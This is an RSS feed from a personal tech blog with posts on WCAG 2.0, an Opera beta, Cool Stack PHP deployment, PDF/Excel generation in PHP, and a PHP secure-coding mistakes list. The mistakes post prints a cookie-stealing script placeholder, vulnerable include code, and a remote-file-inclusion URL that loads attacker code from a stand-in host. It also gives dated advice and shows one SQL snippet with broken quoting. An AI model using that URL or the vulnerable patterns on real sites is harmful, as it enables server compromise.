<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rochak Chauhan::Unpredictably Exciting &#187; Softwares</title>
	<atom:link href="http://rochakchauhan.com/blog/category/softwares/feed/" rel="self" type="application/rss+xml" />
	<link>http://rochakchauhan.com/blog</link>
	<description>Know your limits, but never stop trying to exceed them.</description>
	<lastBuildDate>Thu, 03 May 2012 11:48:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>WCAG 2.0 Guidelines</title>
		<link>http://rochakchauhan.com/blog/2011/07/04/wcag-2-0-guidelines/</link>
		<comments>http://rochakchauhan.com/blog/2011/07/04/wcag-2-0-guidelines/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 05:35:24 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>
		<category><![CDATA[Guidelines]]></category>
		<category><![CDATA[WCAG 2.0]]></category>
		<category><![CDATA[WCAG 2.0 Guidelines]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/?p=1152</guid>
		<description><![CDATA[Perceivable: The perceivable principle is the first principle and it states that the information on a user interface component must be presentable to users in such a way that they can perceive. The principle one gives more importance on the perceivable aspect of the presentation. This principle specifies four aspects: They are as follows:&#160; Text &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2011/07/04/wcag-2-0-guidelines/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<ol>
<li><strong>Perceivable:</strong><br />
The 	perceivable principle is the first principle and it states that the  	information on a user interface component must be presentable to 	 users in such a way that they can perceive. The principle one gives 	 more importance on the perceivable aspect of the presentation. This 	 principle specifies four aspects: They are as follows:&nbsp;</p>
<ol>
<li><strong>Text Alternatives:</strong> Provide text alternatives for  any non-text content so that it can 		be changed into other forms people  need, such as large print, 		braille, speech, symbols or simpler  language.</li>
<li><strong>Time-based Media:</strong> Provide alternatives for time-based media.</li>
<li><strong>Adaptable:</strong> Create content that can be presented in different ways (for example 		simpler layout) without losing information or structure.</li>
<li><strong>Distinguishable:</strong> Make it easier for users to see and hear content including 		separating foreground from background.</li>
</ol>
</li>
<li><strong>Operable</strong> – User interface components and navigation must be operable.<br />
The 	second principle is on the operable nature of the content. The 	 operable principle speaks on four aspects. They are mentioned below.&nbsp;</p>
<ol>
<li><strong>Keyboard Accessible:</strong> Make all functionality available from a keyboard.</li>
<li><strong>Enough Time:</strong> Provide users enough time to read and use content.</li>
<li><strong>Seizures:</strong> Do not design content in a way that is known to cause seizures.</li>
<li><strong>Navigable:</strong> Provide ways to help users navigate, find content, and determine 		where they are.</li>
</ol>
</li>
<li><strong>Understandable:<br />
</strong>The 	Third principle speaks on the understandability of the  content. It 	is stated that the Information and the operation of user  interface 	must be understandable. The understandable principle speaks  about 	three aspects.&nbsp;</p>
<ol>
<li><strong>Readable:</strong> Make text content readable and understandable.</li>
<li><strong>Predictable: </strong>Make 		Web pages appear and operate in predictable ways.</li>
<li><strong>Input Assistance:</strong> Help users avoid and correct mistakes.</li>
</ol>
</li>
<li><strong>Robust:<br />
</strong>This 	is the fourth principle in the WCAG 2.0 recommendation.  This 	principle states that the content must be robust enough that it  can 	be interpreted reliably by a wide variety of user agents, including  	assistive technologies. The robust principle has only one aspect.&nbsp;</p>
<ol>
<li><strong>Compatible:</strong> Maximize compatibility with current and future user agents, 		including assistive technologies.</li>
</ol>
</li>
</ol>
<p>Developing the web contents so as to meet the guidelines specified in the WCAG2.0 makes the content accessible to more audience.</p>
<p>&nbsp;</p>
<p><a href="http://www.w3.org/TR/WCAG20/">&#8230;more about WCAG.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2011/07/04/wcag-2-0-guidelines/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Latest Browser Experience::Opera Kestrel 9.50 Beta 1</title>
		<link>http://rochakchauhan.com/blog/2008/02/12/latest-browser-experienceopera-kestrel-950-beta-1/</link>
		<comments>http://rochakchauhan.com/blog/2008/02/12/latest-browser-experienceopera-kestrel-950-beta-1/#comments</comments>
		<pubDate>Tue, 12 Feb 2008 10:45:27 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>
		<category><![CDATA[Kestrel]]></category>
		<category><![CDATA[Opera 9.5]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2008/02/12/latest-browser-experienceopera-kestrel-950-beta-1/</guid>
		<description><![CDATA[The folks working at Opera Software launched a new version of their famous Opera browser but this time, it comes with a brand new name and several goodies for its users. Codenamed Kestrel, Opera 9.5 Alpha bundles VoiceOver support and an improved BitTorrent performance, a function that was often criticized by the peer-to-peer fans. In &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2008/02/12/latest-browser-experienceopera-kestrel-950-beta-1/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The folks working at Opera Software launched a new version of their famous Opera browser but this time, it comes with a brand new name and several goodies for its users. <a href="http://www.opera.com/products/desktop/next/" target="_blank" title="Opera Kestrel">Codenamed Kestrel</a>, Opera 9.5 Alpha bundles VoiceOver support and an improved BitTorrent performance, a function that was often criticized by the peer-to-peer fans. In addition, the status bar offers two new controls for a better browsing experience: zoom and image manipulation.<br />
The innovation comes from the full history search that allows you to find a visited website in a matter of seconds straight from the interface of the browser.<br />
&#8220;Unlike previous and other browser history searches which only look at the URLs of the pages you have visited full history search searches the actual content of the Web pages you have visited. When typing a keyword, Opera 9.5 will automatically search the text of Web pages in your history,&#8221; the parent company mentioned in the description of the application.</p>
<p>Obviously, Kestrel is available for several platforms including Windows, Linux and Mac OS X. Although the developers didn&#8217;t mention it, I bet Kestrel will be also available in a mobile flavor.</p>
<p>Because I&#8217;m sure you expected it, I should tell you that Opera 9.5 Alpha also includes several mail improvements that will allow you to control the inbox easier than before. Beside the functionality updates, the browser comes with &#8220;a new mail backend and new IMAP support.&#8221;</p>
<p>&#8220;Note to existing M2 users: Please be aware that you will need to install this version on top of your existing Opera version to use this version for mail. Opera will then re-index all your email, something which can take several minutes if you have thousands of emails,&#8221; Opera Software wanted to mention.</p>
<p>As you can see, the battle between the web-browser is getting more and more interesting as numerous companies are attracted by the competition. Opera seems to become one of the top competitors after Safari also joined the fight which was led until now by Microsoft&#8217;s Internet Explorer and by Mozilla&#8217;s Firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2008/02/12/latest-browser-experienceopera-kestrel-950-beta-1/feed/</wfw:commentRss>
		<slash:comments>510</slash:comments>
		</item>
		<item>
		<title>Top 10 mistakes and solutions of a PHP Developer</title>
		<link>http://rochakchauhan.com/blog/2007/12/11/top-10-mistakes-and-solutions-of-a-php-developer/</link>
		<comments>http://rochakchauhan.com/blog/2007/12/11/top-10-mistakes-and-solutions-of-a-php-developer/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 11:56:02 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2007/12/11/top-10-mistakes-and-solutions-of-a-php-developer/</guid>
		<description><![CDATA[1. Not escaping entities It&#8217;s basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output. echo $_GET['username']; Can for instance output: &#60;script&#62;/*snooping cookie or changing admin password script*/&#60;/script&#62; It is an apparent security risk not to sanitize untrusted data before output. Besides you might end up &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2007/12/11/top-10-mistakes-and-solutions-of-a-php-developer/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>1. Not escaping entities</strong><br />
It&#8217;s basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.</p>
<p>echo $_GET['username'];</p>
<p>Can for instance output:<br />
&lt;script&gt;/*snooping cookie or changing admin password script*/&lt;/script&gt;</p>
<p>It is an apparent security risk not to sanitize untrusted data before output. Besides you might end up with pages looking very messy if you do not thread user input the right way.</p>
<p><em>How to fix it:<br />
Basically you need to convert &lt; , &gt;, &#8216; and &#8221; to their proper entities (&lt; , &gt; &#8216; , and &#8220;) . The functions htmlspecialchars and htmlentities() do the work.</em></p>
<p><em>So here is the right way:<br />
echo htmlspecialchars($_GET['username'], ENT_QUOTES);</em><br />
<strong>2. Not Escaping SQL input</strong><br />
When querying your database all ways make sure untrusted data gets escaped else your application will be vulnerable to SQL-injections and unreliable, some coders think that they have covered their asses by having magic_quotes on in their php.ini. The problem is that untrusted input can come from other sources than $_GET, $_POST and $_COOKIE (crawling other websites or using input from the database). And what happens if magic_quotes suddenly is set to OFF?</p>
<p><em>How to fix it:<br />
I recommend setting magic_quotes to off in php.ini or by using .htaccess and then using mysql_real_escape_string() on all variables used in SQL-expressions.</em></p>
<p><em>&lt;?php<br />
$sql = &#8220;UPDATE users SET<br />
name=&#8217;.mysql_real_escape_string($name).&#8217;<br />
WHERE id=&#8217;.mysql_real_escape_string ($id).&#8217;&#8221;;<br />
mysql_query($sql);<br />
?&gt;</em></p>
<p><em>In PHP5 combined with mysql5 you can also use bindings.</em></p>
<p><em>If you leave magic_quotes On you will just have to trust your instinct.</em><br />
<strong>3. Wrong use of HTTP-header related functions:</strong></p>
<p>header(), session_start(), setcookie()<br />
Have you ever encountered this warning? &#8220;warning: Cannot add header information &#8211; headers already sent [....]</p>
<p>Most likely you have either during development or when deploying PHP applications. When your browser downloads a web page the data response from the server is structured in two different parts: The header part and the content part.</p>
<p>The header consist of not visible data such as cookies to be set or if the browser should redirect to another location. The header always comes first.</p>
<p>The content part consists of the visible content HTML, image data and so on.</p>
<p>If output_buffering is set to Off in php.ini your. When the script outputs during execution all header related functions (setcookie(), header(), session_start()) must be called before any output. The problem is when somebody develops on one platform configuration and deploys to another platform configuration, then redirects stops working, cookies and sessions are not being stored&#8230;</p>
<p><em>How to fix it:<br />
The right way is actually very simple make your script call all header related functions before you start any output and set output_buffering = Off in php.ini (at your development platform). If this is a problem on existing scripts you can all ways hack about with the output control functions.</em><br />
<strong>4. Requiring and including files using untrusted data</strong><br />
Again and again do not trust data you do not declare implicitly: Including and requiring files from but not limited to $_GET, $_POST and $_COOKIE is a stupid and mortal path, you want to control which exacts code your server executes.</p>
<p>Example:<br />
index.php<br />
&lt;?<br />
//including header, config, database connection, etc<br />
include($_GET['filename']);<br />
//including footer<br />
?&gt;</p>
<p>Any hacker can now request following URL: <a href="http://www.yourdomain.com/index.php?filename=anyfile.txt">http://www.yourdomain.com/index.php?filename=anyfile.txt</a></p>
<p>By doing so the hacker can extract confidential information and execute PHP scripts stored on the server. Now if allow_url_fopen is set to On in your PHP.ini you will be doomed:</p>
<p>Try this one out:<br />
<a href="http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php">http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php</a></p>
<p>Then your script include and parse any code which the web page on http://www.youaredoomed.com/phphack.php outputs. Doing so he can for instance send spam mails, change passwords, delete files&#8230;. I have a very limited imagination.</p>
<p><em>How to fix it:<br />
You have to control which files the script is allowed to include and which it is not allowed to include.</em></p>
<p><em>Note: This is only a quick fix:<br />
&lt;?<br />
//Include only files that are allowed.<br />
$allowedFiles = array(&#8216;file1.txt&#8217;,'file2.txt&#8217;,'file3.txt&#8217;);<br />
if(in_array((string)$_GET['filename'],$allowedFiles)) {<br />
include($_GET['filename']);<br />
}<br />
else{<br />
exit(&#8216;not allowed&#8217;);<br />
}<br />
?&gt;</em><br />
<strong>5. Syntax errors</strong><br />
This covers all the parse and syntax errors YOU make during development, these are probably uncountable, right? Usually it is a bracket, semi-colon, quotation mark or parenthesis that is missing or placed wrong it is a time eater and that is why I have put it on the list. There is only one way to fight it: Become aware of which syntax errors you make and find ways to avoid repeating them! Of course a good text editor will help you a lot here please, do not use notepad.<br />
<strong>6. No or little use of Object Orientation</strong><br />
Too many systems I have seen and been working with have this problem. They simply do not have any object orientation. Yes object and classes for a beginner are abstract but if for instance you build a shop system and you are not being object orientated, then the source code will become unmaintainable with time and size. PHP has been supporting basic object orientation since PHP4 and since PHP5 a lot more and a lot better, so get your ass on to using it.<br />
<strong>7. Not using a framework</strong><br />
95% of all development with PHP is about developing the same four things: Create, edit, list and delete. To do all this in pure PHP without using a PHP MVC Framework of some kind (let it be home made or open source) is just plain stupid and a waste of YOUR time (of course there are exceptions and you can have good explanation on why you don&#8217;t use a framework).</p>
<p>I talk out of experience and there is so much PHP out there but so little use of frameworks. Get your fingers dirty now.<br />
<strong>8. Not knowing about existing functionality</strong><br />
One of the strong things about PHP is that there&#8217;s so much functionality available in the PHP core but also in the pure PHP extensions. However time again and again scripts people are inventing the deep plate. I am guilty in doing this, but it is waste of time where you should be saving your time. Even when PHP functionality is out of question you can in a lot of situations save yourself time by using exec() to execute from shell.</p>
<p>Save yourself time searching the manual on <a href="http://www.php.net/">www.php.net</a> and Google, keep yourself updated on new features in future releases and by ask the right people when needed.</p>
<p><strong>9. Using old PHP versions</strong><br />
This problem primarily relates to people developing on PHP4 to put it short you are developing on a deprecating platform and not using the full potential of your knowledge move on, there&#8217;s a lot of good stuff and functionality in PHP5. And it is really not a big deal to change to PHP5 most applications only need a few moderations or no moderations to cope with the change.</p>
<p>Secondary there is the security risk of running on old and unpatched software it might end up damaging your applications.</p>
<p>According to Damien Seguy (founder of the French PHP portal <a href="http://www.nexen.net/">http://www.nexen.net</a>) 12% of all PHP servers where running PHP5 by the start of November 2006.</p>
<p>Read the article here (French).</p>
<p>So if you are developing PHP you are most likely (88%) still doing it on PHP4, shame on you!<br />
<strong>10. Double escaping quotes</strong><br />
Have you ever seen a web page display a text with \&#8217; or \&#8221; , it usually happens when a script is made for magic_quotes of (php.ini) and is deployed on a site with magic_quotes on. First PHP runs addslashes() on all GET, POST and COOKIE data then afterwards one more time when the data is being stored.</p>
<p>Original text:<br />
It&#8217;s a string</p>
<p>After magic quotes on script start:<br />
It\&#8217;s a string</p>
<p>On query storage:<br />
It\\&#8217;s a string</p>
<p>HTML output:<br />
It\&#8217;s a string</p>
<p>Another scenario that makes this occur is when a user tries to sign up and inputs invalid data, the user then get presented to the same form, this time with the input escaped, the second time the user posts with the valid data the input is escaped another time.</p>
<p>This stuff still happens way too much however mostly new and inexperienced people encounter this.</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2007/12/11/top-10-mistakes-and-solutions-of-a-php-developer/feed/</wfw:commentRss>
		<slash:comments>264</slash:comments>
		</item>
		<item>
		<title>Deploying PHP From Cool Stack in Sun Java System Web Server</title>
		<link>http://rochakchauhan.com/blog/2007/12/11/deploying-php-from-cool-stack-in-sun-java-system-web-server/</link>
		<comments>http://rochakchauhan.com/blog/2007/12/11/deploying-php-from-cool-stack-in-sun-java-system-web-server/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 07:40:02 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2007/12/11/deploying-php-from-cool-stack-in-sun-java-system-web-server/</guid>
		<description><![CDATA[Cool Stack is, as defined on its site, &#8220;a collection of some of the most commonly used open-source applications optimized for the Solaris Operating System.&#8221; If you have not deployed Web applications with Cool Stack before, be assured that it highly optimizes numerous open-source components such as Apache 2, PHP 5, Ruby, and Light HTTPD &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2007/12/11/deploying-php-from-cool-stack-in-sun-java-system-web-server/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Cool Stack is, as defined on its site, &#8220;a collection of some of the most commonly used open-source applications optimized for the Solaris Operating System.&#8221; If you have not deployed Web applications with Cool Stack before, be assured that it highly optimizes numerous open-source components such as Apache 2, PHP 5, Ruby, and Light HTTPD so that they can perform efficiently on the Solaris 10 OS or later releases. To take advantage of the Solaris OS benefits and deploy your Web applications (Apache, MySQL, and PHP—called AMP—stack) there, check out the newly available Cool Stack 1.2 release.</p>
<p>Besides supporting many databases (for example, Oracle, MySQL, and PostgreSQL), the PHP 5 runtime that is bundled with Cool Stack 1.2 also works with FastCGI. That means you can deploy PHP applications on top of Web servers like high-performing, enterprise-ready Sun Java System Web Server 7.0 (henceforth, Web Server). Deploying on Web Server nets you the performance benefit of its high scalability with optimized Cool Stack PHP 5—a win-win situation.</p>
<p>This article steps you through the deployment procedure.</p>
<p>Note: Type each of the command lines in this article on one line even though, because of screen-width constraints, some of them wrap to the next line.<br />
Contents<br />
 </p>
<ul>
<li><strong>Installing and Configuring Web Server</strong></li>
<li><strong>Installing Cool Stack</strong></li>
<li><strong>Configuring Cool Stack PHP With Web Server</strong> </li>
</ul>
<p><strong>Installing and Configuring Web Server</strong></p>
<p>You can download and deploy Web Server for free. To learn more about its capabilities, see the &#8220;What&#8217;s New in This Release&#8221; section in the Release Notes. Also of help are this custom installation screencast and Getting Started Guide.</p>
<p>The procedure that follows shows the steps in the Web Server Administration Server&#8217;s command-line interface (CLI). You can also perform them from the browser-based administration GUI.</p>
<p>At installation, Web Server offers a default configuration. Optionally, you can create a configuration-cum-instance. To step through the deployment procedure, create one by following these steps:</p>
<p>   1. Start the Administration Server. Type:</p>
<p>      /sun/webserver7&gt; admin-server/bin/startserv</p>
<p>   2. Create the configuration. Type:</p>
<p>      /sun/webserver7&gt; bin/wadm create-config &#8211;user=admin &#8211;http-port=8080 &#8211;server-name=sriramn.red.iplanet.com coolstack</p>
<p>   3. Create the instance. Type:</p>
<p>      /sun/webserver7&gt; bin/wadm create-instance &#8211;user=admin &#8211;config=coolstack sriramn.red.iplanet.com</p>
<p><strong>Installing Cool Stack</strong></p>
<p>To install Cool Stack, do the following:</p>
<p>Note: You must first create a Sun account online and then log in to download.</p>
<p>   1. Download Cool Stack 1.2.</p>
<p>      On the downloads page, select and download the Core Libraries (CSKruntime package) and Apache-PHP 5 (CSKamp) components.</p>
<p>   2. Unzip the downloaded packages. Type, for example:</p>
<p>      bunzip2 -f CSKruntime_1.2_sparc.pkg.gz<br />
      bunzip2 -f CSKamp_1.2_sparc.pkg.gz</p>
<p>      Note: If you are using Solaris OS on Intel or AMD hardware, download the x86 version of those packages, after which the downloaded files will be named CSKruntime_1.2_x86.pkg.bz2 and CSKamp_1.2_x86.pkg.bz2.</p>
<p>   3. Become root and install the packages.</p>
<p>          * For Solaris SPARC hardware, type:</p>
<p>            pkgadd -d CSKruntime_1.2_sparc.pkg<br />
            pkgadd -d CSKamp_1.2_sparc.pkg</p>
<p>          * For Solaris x86 hardware, if you are using SolarisCSKruntime_1.2_x86.pkg, type:</p>
<p>            pkgadd -d CSKruntime_1.2_x86.pkg</p>
<p>            Otherwise, type:</p>
<p>            pkgadd -d CSKamp_1.2_x86.pkg</p>
<p><strong>Configuring Cool Stack PHP With Web Server</strong></p>
<p>Next, do the following:</p>
<p>   1. Go to the Cool Stack PHP 5 installation location. Type:</p>
<p>      cd /opt/coolstack/php5</p>
<p>      In that directory is a script called setup-ws7-php.sh.</p>
<p>   2. Run setup-ws7-php.sh. Type:</p>
<p>      ./setup-ws7-php.sh</p>
<p>      This message is displayed:</p>
<p>      Usage:<br />
      This script will configure Coolstack PHP with Sun Java System Web Server<br />
      7. Here, you will need to provide the top level location of your Web Server<br />
      7 installation and your Web Server 7 instance_name name to which this<br />
      script should configure to run PHP scripts.</p>
<p>      Enter your Web Server installation location(/sun/webserver7):</p>
<p>      <br />
   3. Type the full path for your Web Server installation.</p>
<p>The script then prompts you to type a Web Server instance name. That name is the path to a directory in your installation location—one that contains all the configuration files for running your Web site. If you are using Web Server in Sun Java Enterprise System 5, your instances are under /var/opt/SUNWwbsvr7.</p>
<p>For the example in this article, cite the instance https-coolstack that you created previously. To enable a different instance for PHP, type that instance name. Your instance is then ready for PHP, which you can deploy with Cool Stack 1.2 PHP on Web Server.</p>
<p>Finally, do the following:</p>
<p>   1. Start Web Server. Type:</p>
<p>      /sun/webserver7/https-coolstack/bin/startserv</p>
<p>   2. Create sample PHP files under /sun/webserver7/https-coolstack/docs.</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2007/12/11/deploying-php-from-cool-stack-in-sun-java-system-web-server/feed/</wfw:commentRss>
		<slash:comments>371</slash:comments>
		</item>
		<item>
		<title>Build your PDF and Excel reports with PHP</title>
		<link>http://rochakchauhan.com/blog/2007/12/11/build-your-pdf-and-excel-reports-with-php/</link>
		<comments>http://rochakchauhan.com/blog/2007/12/11/build-your-pdf-and-excel-reports-with-php/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 07:20:47 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2007/12/11/build-your-pdf-and-excel-reports-with-php/</guid>
		<description><![CDATA[The Portable Document Format (PDF) and Microsoft&#8217;s Excel spreadsheet are commonly used for presentation of reports and data. PHP, meanwhile, has become one of the most commonly used scripting languages on the web today, with 35 per cent of web sites running PHP. The TIOBE index of programming languages also indicates an increase in the &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2007/12/11/build-your-pdf-and-excel-reports-with-php/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The Portable Document Format (PDF) and Microsoft&#8217;s Excel spreadsheet are commonly used for presentation of reports and data.</p>
<p>PHP, meanwhile, has become one of the most commonly used scripting languages on the web today, with 35 per cent of web sites running PHP. The TIOBE index of programming languages also indicates an increase in the usage of PHP.</p>
<p>Given the prevelance of PHP, Excel and PDF it&#8217;s fortunate there exists class libraries for the generation of PDF documents and Excel spreadsheets using PHP. In my latest guide to PHP, I shall look at generating an Excel spreadsheet using the PHP Extension and Application Repository (PEAR) module, Spreadsheet_Excel_Writer and the ClibPDF PHP library to generate a PDF report. Along the way I&#8217;ll dig into PDF and Excel report features such as setting fonts and adding a hyperlink.<br />
Installing ClibPDF</p>
<p>First, install PHP 5 and Apache2 HTTP Server and configure the Apache server with PHP. We won&#8217;t discuss configuring Apache server with PHP as it was discussed in an earlier article on PHP, Accessing DB2 UDB with PHP. The ClibPDF PHP class library extension is included in the Collection of PECL modules for PHP 5.3. Extract the php_cpdf.dll from the PECL modules zip file to the C:/PHP/ext directory. Add the following PHP directive to the php.ini configuration file.</p>
<p><strong> extension=php_cpdf.dll</strong></p>
<p>Restart the Apache HTTP server.<br />
Creating a PDF Document with ClibPDF</p>
<p>Create a PHP file catalog.php in the C:\Apache2\htdocs directory, the document root directory of Apache2 server. In the PHP file, create a new PDF document using the cpdf_open ( ) function. If document compression is to be set, specify compression as a non 0 value. A file name may be specified to output the generated PDF document. If filename is not specified an in memory PDF document is created that may be output to a file or stdout.</p>
<p><strong>$cpdf=cpdf_open(0);</strong></p>
<p>Set the title of the document.</p>
<p><strong>cpdf_set_title($cpdf, &#8220;Catalog PDF&#8221;);</strong></p>
<p>Start a new page using cpdf_page_init(). Specify page number as 1, and page size as A4 (595&#215;842). Set orientation to portrait (0). Orientation may also be set to landscape (1). The unit parameter is optional and specifies the number of postscript points per unit; the default value is 72, which corresponds to 1 inch.</p>
<p><strong>cpdf_page_init($cpdf, 1, 0, 595, 842);</strong></p>
<p>Add a bookmark for the current page. Specify the text of the bookmark in the text parameter.</p>
<p><strong>cpdf_add_outline($cpdf, 0, 0, 0, 1, &#8220;Page 1&#8243;);</strong></p>
<p>Next, add title text of the PDF document. Start a text section with cpdf_begin_text ( ). Set the font to Courier-Bold, font size to 25 and font encoding to WinAnsiEncoding using cpdf_set_font ( ). Encoding may be set to MacRomanEncoding, MacExpertEncoding, WinAnsiEncoding or NULL. If encoding is set to NULL, the font&#8217;s built-in encoding is used.</p>
<p><strong>cpdf_set_font($cpdf, &#8220;Courier-Bold&#8221;, 25, &#8220;WinAnsiEncoding&#8221;);</strong></p>
<p>Set the coordinates of the text with cpdf_set_text_pos ( ). The mode parameter specifies the unit length in postscript points. If mode is 0 or is omitted the default unit length is used.</p>
<p><strong>cpdf_set_text_pos($cpdf,4.70,7.5);<br />
</strong></p>
<p>Specify how text is to be rendered. A rendermode value of 0 fills the text and a rendermode value of 1 uses stroke text.</p>
<p><strong>cpdf_set_text_rendering($cpdf, 1);</strong></p>
<p>Add the text to the PDF document using cpdf_text( ). Text coordinates may be specified with cpdf_text(). The mode parameter in cpdf_text() specifies the unit length in postscript points. The orientation parameter specifies the rotation of the text in degrees. The alignmode parameter specifies the alignment of the text.</p>
<p><strong>cpdf_text($cpdf,&#8221;Catalog PDF&#8221;);</strong></p>
<p>The alignmode parameter specifies alignment with respect to the (x,y) coordinates of the text. End the title section with cpdf_end_text( ).</p>
<p><strong>cpdf_end_text($cpdf);</strong></p>
<p>Next, add some text to the PDF document using cpdf_begin_text(), cpdf_text() and cpdf_end_text() functions. Text is added to a new line using cpdf_continue_text( ). Create a table using cpdf_rect(). Add header row cells using cpdf_rect( ) and cpdf_stroke( ).</p>
<p><strong>cpdf_rect($cpdf, 1.0, 6.0, 2.0, 0.5);<br />
cpdf_stroke($cpdf);</strong></p>
<p>Add text to the header cells. Specify the text position. Set text rendering to fill text. Set text font name, font size and font encoding. A row of data is added similar to a header row. A hyperlink may be added to row text using cpdf_set_action_url ( ). For example add an hyperlink to the title column data.</p>
<p><strong>cpdf_set_action_url ( $cpdf, 7.20, 5.70, 8.5, 5.85, &#8220;</strong><a href="http://www-128.ibm.com/developerworks/java/library/x-jaxpval.html"><strong>http://www-128.ibm.com/developerworks/java/library/x-jaxpval.html</strong></a><strong>&#8220;);</strong></p>
<p>End the PDF page using cpdf_finalize_page ( ). End the PDF document using cpdf_finalize ( )</p>
<p><strong>cpdf_finalize_page($cpdf, 1);<br />
cpdf_finalize($cpdf);</strong></p>
<p>Set the Content-type header to application/pdf and save the PDF document to a file using <strong>cpdf_save_to_file ( ).</strong></p>
<p><strong>Header(&#8220;Content-type: application/pdf&#8221;);<br />
cpdf_save_to_file($cpdf,&#8221;catalog.pdf&#8221;);</strong></p>
<p>The PHP script, catalog.php, used to generate an example PDF document is available in resources zip here. Run the catalog.php script with the URL http://localhost/catalog.php.<br />
Installing Spreadsheet_Excel_Writer</p>
<p>The Spreadsheet_Excel_Writer is available as a PEAR module. Therefore, first install the PEAR package Manager. Download the PEAR PHP file. and save the file as go-pear.php in the C:/PHP directory, the directory in which PHP 5 is installed. Install the PEAR Package Manager with the following command.</p>
<p><strong>C:/PHP&gt;php go-pear.php</strong></p>
<p>The php.ini configuration file gets modified in installing the PEAR Package Manager. Therefore, restart the Apache2 HTTP server. Download Spreadsheet_Excel_Writer version 0.9.1. Save the zip file to the C:/PHP directory. The Spreadsheet_Excel_Writer has a required dependency, the PEAR OLE 0.5 package. Install the OLE 0.5 package with the following command.</p>
<p><strong>C:/PHP&gt;pear install channel://pear.php.net/OLE-0.5</strong></p>
<p>Install the Spreadsheet_Excel_Writer with the following command.</p>
<p><strong>C:/PHP&gt;pear install Spreadsheet_Excel_Writer-0.9.1.tgz</strong></p>
<p>Creating an Excel Spreadsheet</p>
<p>Create a PHP script, catalog-excel.php, in the C:\Apache2\\htdocs directory. Create a Workbook object. Specify filename as catalog.xls.</p>
<p><strong>$workbook = new Spreadsheet_Excel_Writer(&#8216;catalog.xls&#8217;);</strong></p>
<p>Add a worksheet to the workbook. If sheet name is not specified the sheet name is Sheeti, with i in [1..].</p>
<p><strong>$worksheet =&amp; $workbook-&gt;addWorksheet(&#8216;Catalog&#8217;);</strong></p>
<p>Set page margins in inches. Center the page horizontally.</p>
<p><strong>$worksheet-&gt;setMargins(0.25);<br />
$worksheet-&gt;centerHorizontally(1);</strong></p>
<p>Set the worksheet as the active worksheet.</p>
<p><strong>$worksheet-&gt;activate();</strong></p>
<p>First, we shall add a title to the worksheet. Add a format to the workbook for the title. Set the text to bold. Set the color of the cell&#8217;s content to &#8220;blue&#8221;. Set the font size to 25 pixels. Merge the cells in the row by setting the cell alignment to &#8216;merge&#8217;.</p>
<p><strong>$format_title =&amp; $workbook-&gt;addFormat();<br />
$format_title-&gt;setBold();<br />
$format_title-&gt;setColor(&#8216;blue&#8217;);<br />
$format_title-&gt;setSize(25);<br />
$format_title-&gt;setAlign(&#8216;merge&#8217;);</strong></p>
<p>Set the worksheet title to &#8220;Catalog Spreadsheet&#8221; in the first row and the third column using the Worksheet::write() function. The rows and columns in a worksheet are 0 indexed. The $format_title format that we created previously is used to add the title.</p>
<p><strong>$worksheet-&gt;write(0, 2, &#8216;Catalog Spreadsheet&#8217;, $format_title);</strong></p>
